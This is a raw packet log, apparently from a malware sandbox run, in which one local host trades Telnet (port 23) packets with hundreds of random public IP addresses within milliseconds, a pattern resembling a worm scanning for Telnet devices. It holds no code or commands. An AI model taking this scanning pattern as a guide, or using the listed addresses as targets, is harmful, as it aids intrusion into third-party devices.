Dec 3, 2024 22:16:44.592478037 CET	37963	23	192.168.2.23	50.239.53.20
Dec 3, 2024 22:16:44.592593908 CET	23	37963	83.101.67.189	192.168.2.23
Dec 3, 2024 22:16:44.592603922 CET	23	37963	70.61.41.149	192.168.2.23
Dec 3, 2024 22:16:44.592638969 CET	37963	23	192.168.2.23	83.101.67.189
Dec 3, 2024 22:16:44.592653990 CET	37963	23	192.168.2.23	70.61.41.149
Dec 3, 2024 22:16:44.592761040 CET	23	37963	80.209.20.120	192.168.2.23
Dec 3, 2024 22:16:44.592770100 CET	23	37963	70.126.32.137	192.168.2.23
Dec 3, 2024 22:16:44.592777967 CET	23	37963	27.226.175.52	192.168.2.23
Dec 3, 2024 22:16:44.592784882 CET	23	37963	216.48.171.122	192.168.2.23
Dec 3, 2024 22:16:44.592793941 CET	23	37963	183.154.104.62	192.168.2.23
Dec 3, 2024 22:16:44.592798948 CET	37963	23	192.168.2.23	80.209.20.120
Dec 3, 2024 22:16:44.592801094 CET	37963	23	192.168.2.23	70.126.32.137
Dec 3, 2024 22:16:44.592803001 CET	23	37963	166.104.98.230	192.168.2.23
Dec 3, 2024 22:16:44.592807055 CET	37963	23	192.168.2.23	27.226.175.52
Dec 3, 2024 22:16:44.592813015 CET	23	37963	49.105.205.179	192.168.2.23
Dec 3, 2024 22:16:44.592820883 CET	23	37963	43.168.186.194	192.168.2.23
Dec 3, 2024 22:16:44.592824936 CET	23	37963	205.135.13.176	192.168.2.23
Dec 3, 2024 22:16:44.592828035 CET	37963	23	192.168.2.23	183.154.104.62
Dec 3, 2024 22:16:44.592835903 CET	37963	23	192.168.2.23	216.48.171.122
Dec 3, 2024 22:16:44.592849016 CET	37963	23	192.168.2.23	166.104.98.230
Dec 3, 2024 22:16:44.592854023 CET	37963	23	192.168.2.23	43.168.186.194
Dec 3, 2024 22:16:44.592859030 CET	37963	23	192.168.2.23	205.135.13.176
Dec 3, 2024 22:16:44.592874050 CET	37963	23	192.168.2.23	49.105.205.179
Dec 3, 2024 22:16:44.593313932 CET	23	37963	91.102.50.78	192.168.2.23
Dec 3, 2024 22:16:44.593322992 CET	23	37963	126.90.232.107	192.168.2.23
Dec 3, 2024 22:16:44.593331099 CET	23	37963	212.173.228.222	192.168.2.23
Dec 3, 2024 22:16:44.593350887 CET	37963	23	192.168.2.23	91.102.50.78
Dec 3, 2024 22:16:44.593365908 CET	37963	23	192.168.2.23	212.173.228.222
Dec 3, 2024 22:16:44.593364954 CET	37963	23	192.168.2.23	126.90.232.107
Dec 3, 2024 22:16:44.593436003 CET	23	37963	155.100.217.236	192.168.2.23
Dec 3, 2024 22:16:44.593445063 CET	23	37963	201.125.96.155	192.168.2.23
Dec 3, 2024 22:16:44.593452930 CET	23	37963	24.215.22.43	192.168.2.23
Dec 3, 2024 22:16:44.593456984 CET	23	37963	89.73.15.27	192.168.2.23
Dec 3, 2024 22:16:44.593465090 CET	23	37963	144.205.214.243	192.168.2.23
Dec 3, 2024 22:16:44.593472958 CET	23	37963	117.30.66.214	192.168.2.23
Dec 3, 2024 22:16:44.593477011 CET	23	37963	60.185.133.214	192.168.2.23
Dec 3, 2024 22:16:44.593482971 CET	37963	23	192.168.2.23	89.73.15.27
Dec 3, 2024 22:16:44.593485117 CET	23	37963	74.110.119.145	192.168.2.23
Dec 3, 2024 22:16:44.593486071 CET	37963	23	192.168.2.23	201.125.96.155
Dec 3, 2024 22:16:44.593487024 CET	37963	23	192.168.2.23	24.215.22.43
Dec 3, 2024 22:16:44.593489885 CET	37963	23	192.168.2.23	155.100.217.236
Dec 3, 2024 22:16:44.593494892 CET	23	37963	87.152.154.161	192.168.2.23
Dec 3, 2024 22:16:44.593502998 CET	23	37963	197.234.149.50	192.168.2.23
Dec 3, 2024 22:16:44.593511105 CET	23	37963	136.67.36.143	192.168.2.23
Dec 3, 2024 22:16:44.593513966 CET	37963	23	192.168.2.23	117.30.66.214
Dec 3, 2024 22:16:44.593513966 CET	37963	23	192.168.2.23	60.185.133.214
Dec 3, 2024 22:16:44.593519926 CET	23	37963	192.172.250.31	192.168.2.23
Dec 3, 2024 22:16:44.593525887 CET	37963	23	192.168.2.23	74.110.119.145
Dec 3, 2024 22:16:44.593527079 CET	37963	23	192.168.2.23	197.234.149.50
Dec 3, 2024 22:16:44.593547106 CET	37963	23	192.168.2.23	144.205.214.243
Dec 3, 2024 22:16:44.593547106 CET	37963	23	192.168.2.23	87.152.154.161
Dec 3, 2024 22:16:44.593547106 CET	37963	23	192.168.2.23	136.67.36.143
Dec 3, 2024 22:16:44.593560934 CET	37963	23	192.168.2.23	192.172.250.31
Dec 3, 2024 22:16:44.593599081 CET	23	37963	83.137.31.120	192.168.2.23
Dec 3, 2024 22:16:44.593607903 CET	23	37963	76.194.201.129	192.168.2.23
Dec 3, 2024 22:16:44.593611956 CET	23	37963	20.111.69.43	192.168.2.23
Dec 3, 2024 22:16:44.593619108 CET	23	37963	196.37.142.110	192.168.2.23
Dec 3, 2024 22:16:44.593627930 CET	23	37963	47.238.80.3	192.168.2.23
Dec 3, 2024 22:16:44.593635082 CET	23	37963	97.200.222.143	192.168.2.23
Dec 3, 2024 22:16:44.593643904 CET	23	37963	182.206.106.38	192.168.2.23
Dec 3, 2024 22:16:44.593647957 CET	37963	23	192.168.2.23	76.194.201.129
Dec 3, 2024 22:16:44.593647957 CET	37963	23	192.168.2.23	83.137.31.120
Dec 3, 2024 22:16:44.593652964 CET	23	37963	196.3.137.196	192.168.2.23
Dec 3, 2024 22:16:44.593653917 CET	37963	23	192.168.2.23	20.111.69.43
Dec 3, 2024 22:16:44.593652964 CET	37963	23	192.168.2.23	196.37.142.110
Dec 3, 2024 22:16:44.593661070 CET	37963	23	192.168.2.23	47.238.80.3
Dec 3, 2024 22:16:44.593663931 CET	23	37963	196.249.184.234	192.168.2.23
Dec 3, 2024 22:16:44.593672037 CET	23	37963	52.97.35.127	192.168.2.23
Dec 3, 2024 22:16:44.593679905 CET	37963	23	192.168.2.23	97.200.222.143
Dec 3, 2024 22:16:44.593681097 CET	37963	23	192.168.2.23	196.3.137.196
Dec 3, 2024 22:16:44.593682051 CET	23	37963	190.22.196.156	192.168.2.23
Dec 3, 2024 22:16:44.593691111 CET	23	37963	77.52.67.132	192.168.2.23
Dec 3, 2024 22:16:44.593693972 CET	37963	23	192.168.2.23	196.249.184.234
Dec 3, 2024 22:16:44.593698025 CET	37963	23	192.168.2.23	182.206.106.38
Dec 3, 2024 22:16:44.593699932 CET	23	37963	79.209.195.103	192.168.2.23
Dec 3, 2024 22:16:44.593707085 CET	37963	23	192.168.2.23	52.97.35.127
Dec 3, 2024 22:16:44.593707085 CET	37963	23	192.168.2.23	190.22.196.156
Dec 3, 2024 22:16:44.593729019 CET	37963	23	192.168.2.23	79.209.195.103
Dec 3, 2024 22:16:44.593729973 CET	37963	23	192.168.2.23	77.52.67.132
Dec 3, 2024 22:16:44.594082117 CET	23	37963	90.66.89.207	192.168.2.23
Dec 3, 2024 22:16:44.594090939 CET	23	37963	154.217.159.128	192.168.2.23
Dec 3, 2024 22:16:44.594094992 CET	23	37963	133.68.141.36	192.168.2.23
Dec 3, 2024 22:16:44.594113111 CET	23	37963	50.255.254.80	192.168.2.23
Dec 3, 2024 22:16:44.594120979 CET	23	37963	168.116.242.15	192.168.2.23
Dec 3, 2024 22:16:44.594129086 CET	37963	23	192.168.2.23	133.68.141.36
Dec 3, 2024 22:16:44.594129086 CET	23	37963	160.42.211.84	192.168.2.23
Dec 3, 2024 22:16:44.594127893 CET	37963	23	192.168.2.23	154.217.159.128
Dec 3, 2024 22:16:44.594130993 CET	37963	23	192.168.2.23	90.66.89.207
Dec 3, 2024 22:16:44.594139099 CET	23	37963	27.70.50.132	192.168.2.23
Dec 3, 2024 22:16:44.594146967 CET	23	37963	51.43.3.222	192.168.2.23
Dec 3, 2024 22:16:44.594150066 CET	37963	23	192.168.2.23	50.255.254.80
Dec 3, 2024 22:16:44.594150066 CET	37963	23	192.168.2.23	168.116.242.15
Dec 3, 2024 22:16:44.594151020 CET	37963	23	192.168.2.23	160.42.211.84
Dec 3, 2024 22:16:44.594155073 CET	23	37963	59.212.55.71	192.168.2.23
Dec 3, 2024 22:16:44.594163895 CET	23	37963	169.52.71.160	192.168.2.23
Dec 3, 2024 22:16:44.594172001 CET	23	37963	179.221.118.23	192.168.2.23
Dec 3, 2024 22:16:44.594172955 CET	37963	23	192.168.2.23	51.43.3.222
Dec 3, 2024 22:16:44.594173908 CET	37963	23	192.168.2.23	27.70.50.132
Dec 3, 2024 22:16:44.594181061 CET	37963	23	192.168.2.23	59.212.55.71
Dec 3, 2024 22:16:44.594182968 CET	23	37963	222.219.114.197	192.168.2.23
Dec 3, 2024 22:16:44.594187021 CET	37963	23	192.168.2.23	169.52.71.160
Dec 3, 2024 22:16:44.594191074 CET	23	37963	155.28.185.151	192.168.2.23
Dec 3, 2024 22:16:44.594206095 CET	37963	23	192.168.2.23	179.221.118.23
Dec 3, 2024 22:16:44.594207048 CET	23	37963	120.43.42.36	192.168.2.23
Dec 3, 2024 22:16:44.594217062 CET	23	37963	170.190.79.183	192.168.2.23
Dec 3, 2024 22:16:44.594217062 CET	37963	23	192.168.2.23	222.219.114.197
Dec 3, 2024 22:16:44.594224930 CET	23	37963	219.216.25.127	192.168.2.23
Dec 3, 2024 22:16:44.594225883 CET	37963	23	192.168.2.23	155.28.185.151
Dec 3, 2024 22:16:44.594233036 CET	23	37963	62.152.189.242	192.168.2.23
Dec 3, 2024 22:16:44.594254017 CET	37963	23	192.168.2.23	120.43.42.36
Dec 3, 2024 22:16:44.594260931 CET	37963	23	192.168.2.23	219.216.25.127
Dec 3, 2024 22:16:44.594268084 CET	23	37963	100.154.28.178	192.168.2.23
Dec 3, 2024 22:16:44.594274044 CET	37963	23	192.168.2.23	170.190.79.183
Dec 3, 2024 22:16:44.594274044 CET	37963	23	192.168.2.23	62.152.189.242
Dec 3, 2024 22:16:44.594278097 CET	23	37963	66.59.172.148	192.168.2.23
Dec 3, 2024 22:16:44.594296932 CET	23	37963	197.29.59.250	192.168.2.23
Dec 3, 2024 22:16:44.594305038 CET	23	37963	123.22.60.65	192.168.2.23
Dec 3, 2024 22:16:44.594306946 CET	37963	23	192.168.2.23	100.154.28.178
Dec 3, 2024 22:16:44.594306946 CET	37963	23	192.168.2.23	66.59.172.148
Dec 3, 2024 22:16:44.594333887 CET	37963	23	192.168.2.23	123.22.60.65
Dec 3, 2024 22:16:44.594338894 CET	37963	23	192.168.2.23	197.29.59.250
Dec 3, 2024 22:16:44.594444036 CET	23	37963	53.227.232.124	192.168.2.23
Dec 3, 2024 22:16:44.594454050 CET	23	37963	89.122.106.81	192.168.2.23
Dec 3, 2024 22:16:44.594461918 CET	23	37963	152.23.224.225	192.168.2.23
Dec 3, 2024 22:16:44.594470978 CET	23	37963	113.168.152.121	192.168.2.23
Dec 3, 2024 22:16:44.594479084 CET	23	37963	109.25.34.194	192.168.2.23
Dec 3, 2024 22:16:44.594480991 CET	37963	23	192.168.2.23	53.227.232.124
Dec 3, 2024 22:16:44.594486952 CET	23	37963	219.208.238.71	192.168.2.23
Dec 3, 2024 22:16:44.594496012 CET	23	37963	116.179.17.207	192.168.2.23
Dec 3, 2024 22:16:44.594497919 CET	37963	23	192.168.2.23	89.122.106.81
Dec 3, 2024 22:16:44.594497919 CET	37963	23	192.168.2.23	113.168.152.121
Dec 3, 2024 22:16:44.594500065 CET	37963	23	192.168.2.23	152.23.224.225
Dec 3, 2024 22:16:44.594520092 CET	37963	23	192.168.2.23	219.208.238.71
Dec 3, 2024 22:16:44.594521999 CET	37963	23	192.168.2.23	109.25.34.194
Dec 3, 2024 22:16:44.594527006 CET	37963	23	192.168.2.23	116.179.17.207
Dec 3, 2024 22:16:44.594902039 CET	23	37963	223.72.100.204	192.168.2.23
Dec 3, 2024 22:16:44.594913960 CET	23	37963	84.239.189.87	192.168.2.23
Dec 3, 2024 22:16:44.594922066 CET	23	37963	109.82.202.56	192.168.2.23
Dec 3, 2024 22:16:44.594926119 CET	23	37963	131.166.123.105	192.168.2.23
Dec 3, 2024 22:16:44.594942093 CET	37963	23	192.168.2.23	223.72.100.204
Dec 3, 2024 22:16:44.594942093 CET	37963	23	192.168.2.23	109.82.202.56
Dec 3, 2024 22:16:44.594948053 CET	37963	23	192.168.2.23	84.239.189.87
Dec 3, 2024 22:16:44.594949961 CET	37963	23	192.168.2.23	131.166.123.105
Dec 3, 2024 22:16:44.595016003 CET	23	37963	199.200.63.142	192.168.2.23
Dec 3, 2024 22:16:44.595025063 CET	23	37963	84.23.42.18	192.168.2.23
Dec 3, 2024 22:16:44.595033884 CET	23	37963	42.74.115.88	192.168.2.23
Dec 3, 2024 22:16:44.595041990 CET	23	37963	209.150.109.0	192.168.2.23
Dec 3, 2024 22:16:44.595050097 CET	23	37963	186.48.30.76	192.168.2.23
Dec 3, 2024 22:16:44.595057964 CET	23	37963	79.72.68.37	192.168.2.23
Dec 3, 2024 22:16:44.595060110 CET	37963	23	192.168.2.23	42.74.115.88
Dec 3, 2024 22:16:44.595069885 CET	23	37963	60.14.145.136	192.168.2.23
Dec 3, 2024 22:16:44.595071077 CET	37963	23	192.168.2.23	209.150.109.0
Dec 3, 2024 22:16:44.595078945 CET	23	37963	124.212.148.75	192.168.2.23
Dec 3, 2024 22:16:44.595082045 CET	37963	23	192.168.2.23	186.48.30.76
Dec 3, 2024 22:16:44.595082045 CET	37963	23	192.168.2.23	79.72.68.37
Dec 3, 2024 22:16:44.595086098 CET	37963	23	192.168.2.23	199.200.63.142
Dec 3, 2024 22:16:44.595086098 CET	37963	23	192.168.2.23	84.23.42.18
Dec 3, 2024 22:16:44.595087051 CET	23	37963	89.17.211.197	192.168.2.23
Dec 3, 2024 22:16:44.595096111 CET	23	37963	134.164.35.203	192.168.2.23
Dec 3, 2024 22:16:44.595097065 CET	37963	23	192.168.2.23	60.14.145.136
Dec 3, 2024 22:16:44.595132113 CET	37963	23	192.168.2.23	134.164.35.203
Dec 3, 2024 22:16:44.595132113 CET	37963	23	192.168.2.23	89.17.211.197
Dec 3, 2024 22:16:44.595135927 CET	37963	23	192.168.2.23	124.212.148.75
Dec 3, 2024 22:16:44.595175028 CET	23	37963	186.153.122.32	192.168.2.23
Dec 3, 2024 22:16:44.595185041 CET	23	37963	27.124.68.143	192.168.2.23
Dec 3, 2024 22:16:44.595194101 CET	23	37963	50.243.0.128	192.168.2.23
Dec 3, 2024 22:16:44.595201969 CET	23	37963	209.188.208.171	192.168.2.23
Dec 3, 2024 22:16:44.595208883 CET	37963	23	192.168.2.23	186.153.122.32
Dec 3, 2024 22:16:44.595210075 CET	23	37963	152.55.215.7	192.168.2.23
Dec 3, 2024 22:16:44.595216990 CET	37963	23	192.168.2.23	50.243.0.128
Dec 3, 2024 22:16:44.595218897 CET	23	37963	151.118.38.97	192.168.2.23
Dec 3, 2024 22:16:44.595221043 CET	37963	23	192.168.2.23	27.124.68.143
Dec 3, 2024 22:16:44.595223904 CET	23	37963	192.110.159.134	192.168.2.23
Dec 3, 2024 22:16:44.595227957 CET	23	37963	124.165.0.64	192.168.2.23
Dec 3, 2024 22:16:44.595228910 CET	37963	23	192.168.2.23	209.188.208.171
Dec 3, 2024 22:16:44.595232010 CET	23	37963	27.203.249.175	192.168.2.23
Dec 3, 2024 22:16:44.595240116 CET	23	37963	53.44.187.27	192.168.2.23
Dec 3, 2024 22:16:44.595268011 CET	37963	23	192.168.2.23	151.118.38.97
Dec 3, 2024 22:16:44.595268965 CET	37963	23	192.168.2.23	53.44.187.27
Dec 3, 2024 22:16:44.595271111 CET	37963	23	192.168.2.23	152.55.215.7
Dec 3, 2024 22:16:44.595271111 CET	37963	23	192.168.2.23	192.110.159.134
Dec 3, 2024 22:16:44.595285892 CET	37963	23	192.168.2.23	124.165.0.64
Dec 3, 2024 22:16:44.595308065 CET	37963	23	192.168.2.23	27.203.249.175
Dec 3, 2024 22:16:44.595339060 CET	23	37963	192.94.188.189	192.168.2.23
Dec 3, 2024 22:16:44.595347881 CET	23	37963	160.204.252.192	192.168.2.23
Dec 3, 2024 22:16:44.595355034 CET	23	37963	212.95.176.136	192.168.2.23
Dec 3, 2024 22:16:44.595377922 CET	37963	23	192.168.2.23	160.204.252.192
Dec 3, 2024 22:16:44.595382929 CET	37963	23	192.168.2.23	192.94.188.189
Dec 3, 2024 22:16:44.595393896 CET	37963	23	192.168.2.23	212.95.176.136
Dec 3, 2024 22:16:44.595499992 CET	23	37963	144.5.40.249	192.168.2.23
Dec 3, 2024 22:16:44.595541954 CET	37963	23	192.168.2.23	144.5.40.249
Dec 3, 2024 22:16:44.595818043 CET	23	37963	177.220.125.81	192.168.2.23
Dec 3, 2024 22:16:44.595827103 CET	23	37963	145.96.220.162	192.168.2.23
Dec 3, 2024 22:16:44.595838070 CET	23	37963	129.180.47.35	192.168.2.23
Dec 3, 2024 22:16:44.595854044 CET	37963	23	192.168.2.23	177.220.125.81
Dec 3, 2024 22:16:44.595855951 CET	37963	23	192.168.2.23	145.96.220.162
Dec 3, 2024 22:16:44.595869064 CET	37963	23	192.168.2.23	129.180.47.35
Dec 3, 2024 22:16:44.595913887 CET	23	37963	98.153.101.141	192.168.2.23
Dec 3, 2024 22:16:44.595922947 CET	23	37963	154.115.91.32	192.168.2.23
Dec 3, 2024 22:16:44.595932007 CET	23	37963	173.158.49.248	192.168.2.23
Dec 3, 2024 22:16:44.595940113 CET	23	37963	126.13.218.81	192.168.2.23
Dec 3, 2024 22:16:44.595942974 CET	23	37963	221.134.98.240	192.168.2.23
Dec 3, 2024 22:16:44.595948935 CET	37963	23	192.168.2.23	154.115.91.32
Dec 3, 2024 22:16:44.595952988 CET	23	37963	104.2.232.211	192.168.2.23
Dec 3, 2024 22:16:44.595953941 CET	37963	23	192.168.2.23	98.153.101.141
Dec 3, 2024 22:16:44.595963001 CET	23	37963	182.69.86.25	192.168.2.23
Dec 3, 2024 22:16:44.595971107 CET	23	37963	161.223.194.112	192.168.2.23
Dec 3, 2024 22:16:44.595973015 CET	37963	23	192.168.2.23	173.158.49.248
Dec 3, 2024 22:16:44.595973969 CET	37963	23	192.168.2.23	221.134.98.240
Dec 3, 2024 22:16:44.595973015 CET	37963	23	192.168.2.23	126.13.218.81
Dec 3, 2024 22:16:44.595982075 CET	23	37963	71.253.164.20	192.168.2.23
Dec 3, 2024 22:16:44.595990896 CET	37963	23	192.168.2.23	104.2.232.211
Dec 3, 2024 22:16:44.595999002 CET	37963	23	192.168.2.23	182.69.86.25
Dec 3, 2024 22:16:44.596000910 CET	37963	23	192.168.2.23	161.223.194.112
Dec 3, 2024 22:16:44.596014023 CET	37963	23	192.168.2.23	71.253.164.20
Dec 3, 2024 22:16:44.596111059 CET	23	37963	42.53.232.165	192.168.2.23
Dec 3, 2024 22:16:44.596120119 CET	23	37963	161.152.49.72	192.168.2.23
Dec 3, 2024 22:16:44.596128941 CET	23	37963	106.73.79.134	192.168.2.23
Dec 3, 2024 22:16:44.596137047 CET	23	37963	46.179.206.199	192.168.2.23
Dec 3, 2024 22:16:44.596143961 CET	37963	23	192.168.2.23	42.53.232.165
Dec 3, 2024 22:16:44.596146107 CET	23	37963	63.236.122.233	192.168.2.23
Dec 3, 2024 22:16:44.596152067 CET	37963	23	192.168.2.23	161.152.49.72
Dec 3, 2024 22:16:44.596154928 CET	23	37963	192.131.71.232	192.168.2.23
Dec 3, 2024 22:16:44.596158981 CET	37963	23	192.168.2.23	106.73.79.134
Dec 3, 2024 22:16:44.596168995 CET	37963	23	192.168.2.23	46.179.206.199
Dec 3, 2024 22:16:44.596172094 CET	37963	23	192.168.2.23	63.236.122.233
Dec 3, 2024 22:16:44.596183062 CET	37963	23	192.168.2.23	192.131.71.232
Dec 3, 2024 22:16:44.596266985 CET	23	37963	84.59.8.4	192.168.2.23
Dec 3, 2024 22:16:44.596276999 CET	23	37963	131.85.33.177	192.168.2.23
Dec 3, 2024 22:16:44.596285105 CET	23	37963	145.68.146.37	192.168.2.23
Dec 3, 2024 22:16:44.596288919 CET	23	37963	160.128.212.216	192.168.2.23
Dec 3, 2024 22:16:44.596297026 CET	23	37963	2.43.20.61	192.168.2.23
Dec 3, 2024 22:16:44.596304893 CET	23	37963	51.126.119.159	192.168.2.23
Dec 3, 2024 22:16:44.596313000 CET	23	37963	61.155.196.35	192.168.2.23
Dec 3, 2024 22:16:44.596313953 CET	37963	23	192.168.2.23	131.85.33.177
Dec 3, 2024 22:16:44.596314907 CET	37963	23	192.168.2.23	84.59.8.4
Dec 3, 2024 22:16:44.596314907 CET	37963	23	192.168.2.23	145.68.146.37
Dec 3, 2024 22:16:44.596316099 CET	37963	23	192.168.2.23	160.128.212.216
Dec 3, 2024 22:16:44.596316099 CET	23	37963	27.12.179.43	192.168.2.23
Dec 3, 2024 22:16:44.596323967 CET	23	37963	122.69.59.80	192.168.2.23
Dec 3, 2024 22:16:44.596330881 CET	37963	23	192.168.2.23	2.43.20.61
Dec 3, 2024 22:16:44.596332073 CET	23	37963	2.190.84.150	192.168.2.23
Dec 3, 2024 22:16:44.596355915 CET	37963	23	192.168.2.23	51.126.119.159
Dec 3, 2024 22:16:44.596364975 CET	37963	23	192.168.2.23	122.69.59.80
Dec 3, 2024 22:16:44.596368074 CET	37963	23	192.168.2.23	61.155.196.35
Dec 3, 2024 22:16:44.596368074 CET	37963	23	192.168.2.23	27.12.179.43
Dec 3, 2024 22:16:44.596368074 CET	37963	23	192.168.2.23	2.190.84.150
Dec 3, 2024 22:16:44.596709013 CET	23	37963	159.171.202.22	192.168.2.23
Dec 3, 2024 22:16:44.596718073 CET	23	37963	116.122.113.213	192.168.2.23
Dec 3, 2024 22:16:44.596726894 CET	23	37963	199.15.169.44	192.168.2.23
Dec 3, 2024 22:16:44.596736908 CET	23	37963	128.235.76.167	192.168.2.23
Dec 3, 2024 22:16:44.596745014 CET	23	37963	154.30.110.152	192.168.2.23
Dec 3, 2024 22:16:44.596748114 CET	37963	23	192.168.2.23	159.171.202.22
Dec 3, 2024 22:16:44.596752882 CET	23	37963	125.7.147.230	192.168.2.23
Dec 3, 2024 22:16:44.596761942 CET	23	37963	119.33.94.11	192.168.2.23
Dec 3, 2024 22:16:44.596766949 CET	37963	23	192.168.2.23	116.122.113.213
Dec 3, 2024 22:16:44.596766949 CET	37963	23	192.168.2.23	199.15.169.44
Dec 3, 2024 22:16:44.596771002 CET	37963	23	192.168.2.23	128.235.76.167
Dec 3, 2024 22:16:44.596771002 CET	23	37963	180.62.139.209	192.168.2.23
Dec 3, 2024 22:16:44.596775055 CET	37963	23	192.168.2.23	154.30.110.152
Dec 3, 2024 22:16:44.596781969 CET	23	37963	126.11.205.230	192.168.2.23
Dec 3, 2024 22:16:44.596785069 CET	37963	23	192.168.2.23	125.7.147.230
Dec 3, 2024 22:16:44.596791029 CET	23	37963	167.245.47.171	192.168.2.23
Dec 3, 2024 22:16:44.596796036 CET	37963	23	192.168.2.23	180.62.139.209
Dec 3, 2024 22:16:44.596796989 CET	37963	23	192.168.2.23	119.33.94.11
Dec 3, 2024 22:16:44.596829891 CET	37963	23	192.168.2.23	126.11.205.230
Dec 3, 2024 22:16:44.596833944 CET	37963	23	192.168.2.23	167.245.47.171
Dec 3, 2024 22:16:44.596860886 CET	23	37963	85.155.150.85	192.168.2.23
Dec 3, 2024 22:16:44.596900940 CET	37963	23	192.168.2.23	85.155.150.85
Dec 3, 2024 22:16:44.596956015 CET	23	37963	57.76.31.153	192.168.2.23
Dec 3, 2024 22:16:44.596965075 CET	23	37963	72.63.213.255	192.168.2.23
Dec 3, 2024 22:16:44.596968889 CET	23	37963	157.136.12.192	192.168.2.23
Dec 3, 2024 22:16:44.596972942 CET	23	37963	151.239.206.74	192.168.2.23
Dec 3, 2024 22:16:44.596980095 CET	23	37963	95.151.41.198	192.168.2.23
Dec 3, 2024 22:16:44.596983910 CET	23	37963	149.115.16.108	192.168.2.23
Dec 3, 2024 22:16:44.596993923 CET	23	37963	155.60.81.90	192.168.2.23
Dec 3, 2024 22:16:44.597001076 CET	23	37963	107.90.64.84	192.168.2.23
Dec 3, 2024 22:16:44.597007036 CET	37963	23	192.168.2.23	157.136.12.192
Dec 3, 2024 22:16:44.597009897 CET	23	37963	208.240.93.159	192.168.2.23
Dec 3, 2024 22:16:44.597017050 CET	37963	23	192.168.2.23	57.76.31.153
Dec 3, 2024 22:16:44.597018957 CET	23	37963	194.133.94.72	192.168.2.23
Dec 3, 2024 22:16:44.597019911 CET	37963	23	192.168.2.23	72.63.213.255
Dec 3, 2024 22:16:44.597021103 CET	37963	23	192.168.2.23	151.239.206.74
Dec 3, 2024 22:16:44.597033978 CET	37963	23	192.168.2.23	155.60.81.90
Dec 3, 2024 22:16:44.597037077 CET	37963	23	192.168.2.23	95.151.41.198
Dec 3, 2024 22:16:44.597037077 CET	37963	23	192.168.2.23	107.90.64.84
Dec 3, 2024 22:16:44.597039938 CET	37963	23	192.168.2.23	149.115.16.108
Dec 3, 2024 22:16:44.597048998 CET	37963	23	192.168.2.23	194.133.94.72
Dec 3, 2024 22:16:44.597069979 CET	37963	23	192.168.2.23	208.240.93.159
Dec 3, 2024 22:16:44.597110987 CET	23	37963	91.118.218.232	192.168.2.23
Dec 3, 2024 22:16:44.597121000 CET	23	37963	144.128.222.91	192.168.2.23
Dec 3, 2024 22:16:44.597129107 CET	23	37963	218.197.112.130	192.168.2.23
Dec 3, 2024 22:16:44.597142935 CET	23	37963	186.153.67.202	192.168.2.23
Dec 3, 2024 22:16:44.597150087 CET	37963	23	192.168.2.23	91.118.218.232
Dec 3, 2024 22:16:44.597151995 CET	23	37963	38.143.173.59	192.168.2.23
Dec 3, 2024 22:16:44.597157955 CET	37963	23	192.168.2.23	144.128.222.91
Dec 3, 2024 22:16:44.597162962 CET	23	37963	103.117.192.68	192.168.2.23
Dec 3, 2024 22:16:44.597162962 CET	37963	23	192.168.2.23	218.197.112.130
Dec 3, 2024 22:16:44.597172976 CET	23	37963	192.170.98.255	192.168.2.23
Dec 3, 2024 22:16:44.597178936 CET	37963	23	192.168.2.23	186.153.67.202
Dec 3, 2024 22:16:44.597178936 CET	37963	23	192.168.2.23	38.143.173.59
Dec 3, 2024 22:16:44.597198963 CET	37963	23	192.168.2.23	103.117.192.68
Dec 3, 2024 22:16:44.597198963 CET	37963	23	192.168.2.23	192.170.98.255
Dec 3, 2024 22:16:44.597486019 CET	23	37963	190.126.202.177	192.168.2.23
Dec 3, 2024 22:16:44.597495079 CET	23	37963	161.229.86.48	192.168.2.23
Dec 3, 2024 22:16:44.597498894 CET	23	37963	142.152.66.135	192.168.2.23
Dec 3, 2024 22:16:44.597528934 CET	23	37963	97.164.199.152	192.168.2.23
Dec 3, 2024 22:16:44.597536087 CET	37963	23	192.168.2.23	190.126.202.177
Dec 3, 2024 22:16:44.597537994 CET	23	37963	204.251.36.152	192.168.2.23
Dec 3, 2024 22:16:44.597542048 CET	37963	23	192.168.2.23	161.229.86.48
Dec 3, 2024 22:16:44.597548962 CET	37963	23	192.168.2.23	142.152.66.135
Dec 3, 2024 22:16:44.597553015 CET	23	37963	132.238.113.135	192.168.2.23
Dec 3, 2024 22:16:44.597563028 CET	23	37963	176.102.36.20	192.168.2.23
Dec 3, 2024 22:16:44.597568989 CET	37963	23	192.168.2.23	97.164.199.152
Dec 3, 2024 22:16:44.597570896 CET	23	37963	93.116.150.72	192.168.2.23
Dec 3, 2024 22:16:44.597573042 CET	37963	23	192.168.2.23	204.251.36.152
Dec 3, 2024 22:16:44.597579956 CET	23	37963	150.240.92.228	192.168.2.23
Dec 3, 2024 22:16:44.597589016 CET	23	37963	105.159.193.227	192.168.2.23
Dec 3, 2024 22:16:44.597589970 CET	37963	23	192.168.2.23	132.238.113.135
Dec 3, 2024 22:16:44.597594023 CET	37963	23	192.168.2.23	93.116.150.72
Dec 3, 2024 22:16:44.597596884 CET	23	37963	31.149.193.213	192.168.2.23
Dec 3, 2024 22:16:44.597605944 CET	23	37963	165.207.209.122	192.168.2.23
Dec 3, 2024 22:16:44.597615004 CET	37963	23	192.168.2.23	105.159.193.227
Dec 3, 2024 22:16:44.597628117 CET	37963	23	192.168.2.23	31.149.193.213
Dec 3, 2024 22:16:44.597642899 CET	23	37963	205.59.185.75	192.168.2.23
Dec 3, 2024 22:16:44.597644091 CET	37963	23	192.168.2.23	176.102.36.20
Dec 3, 2024 22:16:44.597644091 CET	37963	23	192.168.2.23	150.240.92.228
Dec 3, 2024 22:16:44.597645998 CET	37963	23	192.168.2.23	165.207.209.122
Dec 3, 2024 22:16:44.597651005 CET	23	37963	194.65.16.50	192.168.2.23
Dec 3, 2024 22:16:44.597660065 CET	23	37963	144.98.223.46	192.168.2.23
Dec 3, 2024 22:16:44.597667933 CET	23	37963	90.88.117.16	192.168.2.23
Dec 3, 2024 22:16:44.597676039 CET	23	37963	206.89.86.241	192.168.2.23
Dec 3, 2024 22:16:44.597680092 CET	37963	23	192.168.2.23	205.59.185.75
Dec 3, 2024 22:16:44.597683907 CET	23	37963	144.218.18.241	192.168.2.23
Dec 3, 2024 22:16:44.597687960 CET	37963	23	192.168.2.23	194.65.16.50
Dec 3, 2024 22:16:44.597702026 CET	37963	23	192.168.2.23	90.88.117.16
Dec 3, 2024 22:16:44.597707987 CET	37963	23	192.168.2.23	144.98.223.46
Dec 3, 2024 22:16:44.597707987 CET	37963	23	192.168.2.23	206.89.86.241
Dec 3, 2024 22:16:44.597707987 CET	37963	23	192.168.2.23	144.218.18.241
Dec 3, 2024 22:16:44.597800970 CET	23	37963	1.104.209.17	192.168.2.23
